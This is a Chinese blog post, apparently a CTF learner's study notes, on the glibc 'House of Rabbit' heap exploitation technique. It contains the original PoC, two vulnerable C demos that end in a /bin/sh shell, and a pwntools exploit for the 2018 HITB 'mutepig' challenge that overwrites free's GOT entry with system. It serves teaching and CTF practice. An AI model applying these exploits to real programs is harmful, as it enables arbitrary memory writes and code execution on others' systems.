House_of_Rabbit学习

字数统计: 2k字   |   阅读时长≈ 10分

House of Rabbit是一种主要利用 fastbin attack来实现攻击的方法。原作者提供的 POC我分析了一下感觉需要满足的条件挺多，而且要求也挺复杂。感觉没有Wiki上讲的本质，所以本文主要参考Wiki。

原理

fastbin中会把相同大小的size的堆块用一个单向链表管理，分配的时候会检查size是否合理。但是，仅考虑 glibc 2.26版本以下，当分配一个超大块时，会执行 malloc_consolidate，将fastbin中的堆块进行合并，而此时却没有对堆块的size进行检查。

堆块合并的触发代码如下：

1
2
3
4
5
6
#define FASTBIN_CONSOLIDATION_THRESHOLD  (65536UL)

...
    if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
      if (have_fastchunks(av))
		malloc_consolidate(av);

在 malloc_consolidate()中，会循环处理各 fastbin堆块，当堆块与top 相邻时，与top合并。否则，将堆块放入unsortedbin中，并设置 Pre_size和pre_inuse位：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
if (nextchunk != av->top) {
  nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

  if (!nextinuse) {
    size += nextsize;
    unlink(av, nextchunk, bck, fwd);
  } else
    clear_inuse_bit_at_offset(nextchunk, 0);

  first_unsorted = unsorted_bin->fd;
  unsorted_bin->fd = p;
  first_unsorted->bk = p;

  if (!in_smallbin_range (size)) {
    p->fd_nextsize = NULL;
    p->bk_nextsize = NULL;
  }

  set_head(p, size | PREV_INUSE);
  p->bk = unsorted_bin;
  p->fd = first_unsorted;
  set_foot(p, size);
}

else {
  size += nextsize;
  set_head(p, size | PREV_INUSE);
  av->top = p;
}

条件

  1. 可以修改fastbin的fd指针或size；
  2. 可以触发 malloc_consolidate(merge top 或 malloc big chunk等)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/*
   PoC of House of Rabbit
   Tested in Ubuntu 14.04, 16.04 (64bit).
   
   Yutaro Shimizu
   @shift_crops
   2017/09/14
   Update (2019/08/06) : Ubuntu 18.04 (glibc-2.27)
*/

// gcc house_of_rabbit.c -D GLIBC_VERSION=27 -o house_of_rabbit

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void evict_tcache(size_t size);

char target[0x30] = "Hello, World!";
unsigned long gbuf[8] = {0};

int main(void){
	void *p, *fast, *small, *fake;
	char *victim;

	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	printf(	"This is PoC of House of Rabbit\n"
		"This technique bypassing Heap ASLR without leaking address, "
		"and make it possible to overwrite a variable located at an arbitary address.\n"
		"Jump like a rabbit and get an accurate address by malloc! :)\n\n");

	// 0. Disable tcache for 0x20,0x90 chunks
	printf("0. Disable tcache for 0x20,0x90 chunks (for glibc version >= 2.26)\n\n");
	evict_tcache(0x18);
	evict_tcache(0x88);


	// 1. Make 'av->system_mem > 0xa00000'
	printf("1. Make 'av->system_mem > 0xa00000'\n");
	p = malloc(0xa00000);
	printf("  Allocate 0xa00000 byte by mmap at %p, and free.\n", p);
	free(p);

	p = malloc(0xa00000);
	printf("  Allocate 0xa00000 byte in heap at %p, and free.\n", p);
	free(p);
	printf("  Then, the value of 'av->system_mem' became larger than 0xa00000.\n\n");


	// 2. Free fast chunk and link to fastbins
	printf("2. Free fast chunk and link to fastbins\n");
	fast = malloc(0x18);
	small = malloc(0x88);
	printf(	"  Allocate fast chunk and small chunk.\n"
		"  fast = %p\n"
		"  small = %p\n", fast, small);
	free(fast);
	printf("  Free fast chunk.\n\n");

	
	// 3. Make fake_chunk on .bss
	printf("3. Make fake_chunk on .bss\n");
	gbuf[0] = 0xfffffffffffffff0;
	gbuf[1] = 0x10;
	gbuf[3] = 0x21;
	gbuf[7] = 0x1;
	printf(	"  fake_chunk1 (size : 0x%lx) is at %p\n"
		"  fake_chunk2 (size : 0x%lx) is at %p\n\n"
		, gbuf[3], &gbuf[2], gbuf[1], &gbuf[0]);


	// VULNERABILITY
	// use after free or fastbins dup etc...
	fake = &gbuf[2];
	printf(	"VULNERABILITY (e.g. UAF)\n"
		"  *fast = %p\n"
		, fake);
	*(unsigned long**)fast = fake;
	printf("  fastbins list : [%p, %p, %p]\n\n", fast-0x10, fake, *(void **)(fake+0x10));


	// 4. call malloc_consolidate
	printf(	"4. call malloc_consolidate\n"
		"  Free the small chunk (%p) next to top, and link fake_chunk1(%p) to unsorted bins.\n\n"
		, small, fake);
	free(small);


	// 5. Link unsorted bins to appropriate list
	printf(	"5. Link unsorted bins to appropriate list\n"
		"  Rewrite fake_chunk1's size to 0xa0001 to bypass 'size < av->system_mem' check.\n");
	gbuf[3] = 0xa00001;
	malloc(0xa00000);
	printf(	"  Allocate huge chunk.\n"
		"  Now, fake_chunk1 link to largebin[126](max).\n"
		"  Then, write fake_chunk1's size back to 0xfffffffffffffff1.\n\n");
	gbuf[3] = 0xfffffffffffffff1;	


	// 6. Overwrite targer variable
	printf(	"6. Overwrite targer variable on .data\n"
		"  target is at %p\n"
		"  Before : %s\n"
		, &target, target);

	malloc((void*)&target-(void*)(gbuf+2)-0x20);
	victim = malloc(0x10);
	printf("  Allocate 0x10 byte at %p, and overwrite.\n", victim);
	strcpy(victim, "Hacked!!");

	printf("  After  : %s\n", target);
}

void evict_tcache(size_t size){
	void *p;

#if defined(GLIBC_VERSION) && (GLIBC_VERSION >= 26)
	p = malloc(size);

#if	(GLIBC_VERSION < 29)
	free(p);
	free(p);
	malloc(size);
	malloc(size);

	*(void**)p = NULL;

	malloc(size);
#else

#if (GLIBC_VERSION == 29)
	char *counts 		= (char*)(((unsigned long)p & ~0xfff) + 0x10);
#else
	uint16_t *counts 	= (char*)(((unsigned long)p & ~0xfff) + 0x10);
#endif
	counts[(size + 0x10 >> 4) - 2] = 0xff;

#endif
#endif
}

POC中主要分以下几步：

  1. 填充0x20和0x90的tcache，是为了将后续释放堆块放到fatsbin中
  2. 连续两次分配释放 0xa00000的大块，是为了扩大top chunk的大小；
  3. 分别申请一个0x20的fastbin和一个0x90的smallbin，并释放0x20的chunk到fastbin中；
  4. 然后再bss中伪造一组size，其中第一个fake_chunk的prev_size为0xfffffffffffffff0，这样是保证整数溢出，当前fake_chunk_addr 加上这个size，其实是会向上溢出。
1
2
3
4
5
6
fake_chunk2:	
	gbuf[0] = 0xfffffffffffffff0;
	gbuf[1] = 0x10;
fake_chunk1:
	gbuf[3] = 0x21;
	gbuf[7] = 0x1;
  1. 修改0x20的fastbin的 fd指向 fake_chunk1，此时达成了house of rabbit的触发条件
  2. 首先释放smallbin，此时由于和top chunk会与其合并，此时就只有 fake_chunk进入了unsortedbi

image-20201113093748102

  1. 将fake_chunk仅仅放入unsortedbin是不够的，还需要将其放入largebin中。 申请大于0xffff的大块，会将 fake_chunk放入largebin中，不过之前得修改fake_chunk得size为0xa00001，其目的有两个，1是绕过程序对unsorted bin中内存块大小小于av->system_mem的检测；2是使程序放入large bin的最后一块（>0x800000)

image-20201113093819885

  1. 然后，再将fake_chunk的size改为 0xfffffffffffffff1，然后再申请 malloc((void*)&target-(void*)(gbuf+2)-0x20);，此处的target是我们想任意分配的地址。POC中的target地址比 fake_chunk_addr小，不过问题不大，这里相减会得到一个负数，但是Malloc中是用 unsigned int来识别size，此时会得到一个大数，但不超过 fake_size。申请的 size+fake_chunk_addr会直接溢出，导致得到的结果，刚好为我们的target_addr。如下图所示：我们完成这个malloc后，fake_chunk剩余的 remainder是刚好指向 target地址

image-20201113094709948

​ 9. 经过上面的步骤，我们已经将fake_chunk分配到了 target地址了，后面就可以实现任意地址分配了。

示例

修改fastbin size

漏洞代码如下：(参考EX师傅)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *controllable_chunk, *temp, *ptr, *sh, *payload;
    controllable_chunk = malloc(24); //size: 0x20
    temp = malloc(24);               //size: 0x20
    malloc(0x10);                    // 防止与top chunk合并

    free(controllable_chunk);
    free(temp);

    // controllable_chunk->size = 0x41
    *(long *)(controllable_chunk - 8) = 0x41;
    // allocate a large chunk, trigger malloc consolidate
    // 申请一块大chunk，即可触发使得两块chunk合并
    malloc(0x1000);

    sh = malloc(24);
    strncpy(sh, "id", 24 - 1);

    ptr = malloc(0x40 - 8);
    payload = "aaaaaaaaaaaaaaaa" // 16
              "aaaaaaaaaaaaaaaa" // 16
              "/bin/sh";
    strncpy(ptr, payload, 0x40 - 8 - 1);

    system(sh);

    return 0;
}

首先申请两个0x20大小的chunk，释放他们，会进入fastbin中：

image-20201112220229986

然后修改了 0x602000堆块的size为 0x41，然后申请一个 0x1000的chunk。此时发生堆块合并，由于 0x602000的size被修改为0x41，会被合并进入 0x40的smallbin中。

image-20201112220243131

此时，就已经发生了堆覆盖，我们只需申请 0x40的chunk，就能够完成堆覆盖。

修改fastbin fd

漏洞代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    char *controllable_chunk, *sh, *payload;
    long long *ptr;
    controllable_chunk = malloc(24); //size: 0x20
    ptr = malloc(0x100);             //size: 0x110
    malloc(0x10);                    // 防止与top chunk合并

    ptr[1] = 0x31;  //fake chunk size 0x30
    ptr[7] = 0x21;  //fake chunk's next chunk
    ptr[11] = 0x21; //fake chunk's next chunk's next chuck

    free(controllable_chunk);

    //  modify the fd of chunk1
    *(void **)controllable_chunk = ptr;
    // allocate a large chunk, trigger malloc consolidate
    // 申请一块大chunk，即可触发使得两块chunk合并
    malloc(0x1000);

    sh = malloc(0x30 - 8);
    strncpy(sh, "id", 0x30 - 8 - 1);

    payload = "aaaaaaaaaaaaaaaa" // 16
              "/bin/sh";

    strncpy((char *)ptr, payload, 0x100 - 1);

    system(sh);

    return 0;
}

首先申请一个0x20和0x100的chunk，然后在 0x100chunk的内部从数据段伪造了一个fake chunk，这里要注意伪造时，要保证fake chunk的后面连续两个chunk的size的合法性。随后释放这两个chunk，并修改0x20fastbin的fd指向fake chunk：

image-20201112221247585

随后，使用堆块合并，将0x20的chunk和 0x30的fake chunk都放入smallbin：

image-20201112221332532

2018 HITB mutepig

程序分析

image-20201112222323542

程序漏洞很明显，Delete函数存在一个 UAF漏洞。

利用分析

模板和上面POC的形式很相似，申请的堆块大小也都差不多。直接套POC模板就行。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
context.update(arch='amd64',os='linux',log_level = 'debug')
context.terminal=(['tmux', 'splitw', '-h'])

debug =1
if debug:
    p= process('./mutepig')
    elf = ELF('./mutepig')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    libc = ELF('./libc.so.6')

def add(type,content):
	p.sendline('1')
	p.sendline(str(type))
	p.send(content)
	time.sleep(1)
def free(index):
	p.sendline('2')
	p.sendline(str(index))

def edit(index,content1,content2):
	p.sendline('3')
	p.sendline(str(index))
	p.send(content1)
	p.send(content2)
	time.sleep(1)

bss_list = 0x06020C0
bss_can_be_edit = 0x602120
add(3,'0') #0

free(0)
add(3,'1') #1
free(1)
add(1,'2') #2
add(2,'4') #3
free(2)
edit(2,p64(bss_can_be_edit+0x10)[:-1],p64(0)+p64(0x11)+p64(0)+p64(0xfffffffffffffff1)+'\0'*15)
free(3)
edit(2,p64(0)[:-1],p64(0)+p64(0x11)+p64(0)+p64(0xA00001))
add(3,'4') #4
edit(2,p64(bss_can_be_edit+0x10)[:-1],p64(0xfffffffffffffff0)+p64(0x10)+p64(0)+p64(0xfffffffffffffff1))
#
add(0x3419,'5') #5
add(1,p64(elf.got['free'])[:-1])

edit(0,p64(elf.symbols['system'])[:-1],'/bin/sh\0')
edit(6,'/bin/sh','/bin/sh\0')

free(6)


p.interactive()

参考

Hous of Rabbit 原理

House of Rabbit 漏洞笔记

赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing